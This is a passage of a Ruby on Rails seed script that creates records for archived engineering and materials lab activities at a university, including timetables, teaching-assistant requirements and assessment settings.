same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a571.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a571.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a571.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a571.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a571.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a572 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"unknowncode49\").first_or_create!(name: \"Using an Arduino to Read Analogue Sensors\",\n name_abrv: \"Ard Anal\", archived: true, in_drive: false, user_id: 1)\n at572 = ActivityTimetable.where(activity_id: a572.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a572.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a572.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a572.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a572.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a572.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a573 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"unknowncode50\").first_or_create!(name: \"PWM control of Actuators, using an Arduino\",\n name_abrv: \"Ard PWM\", archived: true, in_drive: false, user_id: 1)\n at573 = ActivityTimetable.where(activity_id: a573.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 20, takedown_time: 20, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a573.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a573.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a573.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a573.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a573.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a574 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"unknowncode51\").first_or_create!(name: \"NAME NOT GIVEN\",\n name_abrv: \"Mechatronics 1\", archived: true, in_drive: true, user_id: 3)\n at574 = ActivityTimetable.where(activity_id: a574.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a574.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a574.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a574.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a574.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n\n\n a575 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"unknowncode52\").first_or_create!(name: \"NAME NOT GIVEN\",\n name_abrv: \"Mechatronics 2\", archived: true, in_drive: false, user_id: 4)\n at575 = ActivityTimetable.where(activity_id: a575.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a575.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a575.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a575.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a575.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n\n\n a576 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"unknowncode53\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS+\", archived: true, in_drive: false, user_id: 2)\n at576 = ActivityTimetable.where(activity_id: a576.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a576.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a576.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a576.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a576.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a576.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a577 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"unknowncode54\").first_or_create!(name: \"Transformers\",\n name_abrv: \"TFM\", archived: true, in_drive: false, user_id: 5)\n at577 = ActivityTimetable.where(activity_id: a577.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a577.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a577.id).first_or_create!(criteria: \"Must be familiar with transformers and inductors\n Must be familiar with high voltage AC circuits\n Must be confident checking the safety of high voltage and high current experiments\n Ideally confident in theoretical transformer models and how to measure the deviation of experiment from ideality\",\n job_desc:\"Help students measure the efficiency and other characteristics of transformers\n Identify differences between ideal transformers and experimental characterisations of real transformers\n Ensure that students make high voltage and high current measurements safely, including checking risk assessments before commencing work.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a577.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a577.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n\n\n a578 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER223\").first.id, code: \"unknowncode55\").first_or_create!(name: \"Transformers\",\n name_abrv: \"TFM\", archived: true, in_drive: false, user_id: 1)\n at578 = ActivityTimetable.where(activity_id: a578.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a578.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a578.id).first_or_create!(criteria: \"Must be familiar with transformers and inductors\n Must be familiar with high voltage AC circuits\n Must be confident checking the safety of high voltage and high current experiments\n Ideally confident in theoretical transformer models and how to measure the deviation of experiment from ideality\",\n job_desc:\"Help students measure the efficiency and other characteristics of transformers\n Identify differences between ideal transformers and experimental characterisations of real transformers\n Ensure that students make high voltage and high current measurements safely, including checking risk assessments before commencing work.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a578.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a578.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a578.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a579 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"unknowncode56\").first_or_create!(name: \"Spectral Analysis\",\n name_abrv: \"SA\", archived: true, in_drive: false, user_id: 5)\n at579 = ActivityTimetable.where(activity_id: a579.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a579.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a579.id).first_or_create!(criteria: \"No GTAs required\",\n job_desc:\"No GTAs required\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a579.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a579.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n\n\n a580 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"unknowncode57\").first_or_create!(name: \"Spectral Analysis Extra\",\n name_abrv: \"SAX\", archived: true, in_drive: false, user_id: 4)\n at580 = ActivityTimetable.where(activity_id: a580.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a580.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a580.id).first_or_create!(criteria: \"No GTAs required\",\n job_desc:\"No GTAs required\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a580.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a580.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a580.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a581 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE202\").first.id, code: \"unknowncode58\").first_or_create!(name: \"INDUMACH\",\n name_abrv: \"INDUMACH\", archived: true, in_drive: false, user_id: 3)\n at581 = ActivityTimetable.where(activity_id: a581.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 5, setup_time: 5, takedown_time: 5, notes: \"\",\n capacity: 14, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a581.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a581.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a581.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a581.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a581.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a582 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"unknowncode59\").first_or_create!(name: \"Spectral Analysis\",\n name_abrv: \"SA\", archived: true, in_drive: false, user_id: 2)\n at582 = ActivityTimetable.where(activity_id: a582.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a582.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a582.id).first_or_create!(criteria: \"No GTAs required\",\n job_desc:\"No GTAs required\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a582.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a582.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a582.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a583 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"unknowncode60\").first_or_create!(name: \"Microstructure\",\n name_abrv: \"MICROSTRUCTURE\", archived: true, in_drive: false, user_id: 3)\n at583 = ActivityTimetable.where(activity_id: a583.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a583.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a583.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a583.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a583.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a583.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a584 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT408\").first.id, code: \"unknowncode61\").first_or_create!(name: \"SEM and FTIR\",\n name_abrv: \"SEM/FTIR\", archived: true, in_drive: false, user_id: 4)\n at584 = ActivityTimetable.where(activity_id: a584.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a584.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a584.id).first_or_create!(criteria: \"Knowledge of characterising biomaterials and experience using SEM and FTIR desirable, but training can be provided.\",\n job_desc:\"Analysing the surface of biomaterials using SEM and characterising the chemical composition of the materials using FTIR spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a584.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes live cell imaging.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a584.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a584.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a585 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1600\").first.id, code: \"unknowncode62\").first_or_create!(name: \"Materials Identification\",\n name_abrv: \"MATIDENT\", archived: true, in_drive: false, user_id: 4)\n at585 = ActivityTimetable.where(activity_id: a585.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a585.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a585.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To identify unknown materials using various materials analysis techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a585.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a585.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a585.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a586 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1600\").first.id, code: \"unknowncode63\").first_or_create!(name: \"Wood composite\",\n name_abrv: \"WOODCOMP\", archived: true, in_drive: false, user_id: 3)\n at586 = ActivityTimetable.where(activity_id: a586.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a586.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a586.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a586.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (short report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a586.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a586.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a587 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"unknowncode64\").first_or_create!(name: \"Impact testing\",\n name_abrv: \"IMPACTTESTING\", archived: true, in_drive: false, user_id: 4)\n at587 = ActivityTimetable.where(activity_id: a587.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a587.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a587.id).first_or_create!(criteria: \"\",\n job_desc:\"The students will compare the impact toughness for steels of two different composition and two different processing conditions, using impact testers.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a587.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a587.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a587.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a588 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"unknowncode65\").first_or_create!(name: \"Microstructure\",\n name_abrv: \"MICROSTRUCTURE\", archived: true, in_drive: false, user_id: 5)\n at588 = ActivityTimetable.where(activity_id: a588.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a588.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a588.id).first_or_create!(criteria: \"\",\n job_desc:\"The students will gain experience in using tensile test frames and extract mechanical properties from them such as Young’s modulus, yield stress, and ultimate strength for steels of different composition.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a588.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a588.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a588.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a589 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"unknowncode66\").first_or_create!(name: \"Concrete Making & Testing\",\n name_abrv: \"WOODCOMP\", archived: true, in_drive: false, user_id: 3)\n at589 = ActivityTimetable.where(activity_id: a589.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a589.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a589.id).first_or_create!(criteria: \"\",\n job_desc:\"To understand the basic processes involved in cement hydration.To develop an understanding of mix design parameters on mortar rheology and strength.To gain experience in how to deal with statistical variation associated with destructive testing of brittle materials. Techniques used compression testing.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a589.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (short report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a589.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a589.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a590 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1510\").first.id, code: \"unknowncode67\").first_or_create!(name: \"Histology/Microscopy\",\n name_abrv: \"HIST/MICRO\", archived: true, in_drive: false, user_id: 4)\n at590 = ActivityTimetable.where(activity_id: a590.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 50, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a590.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a590.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering 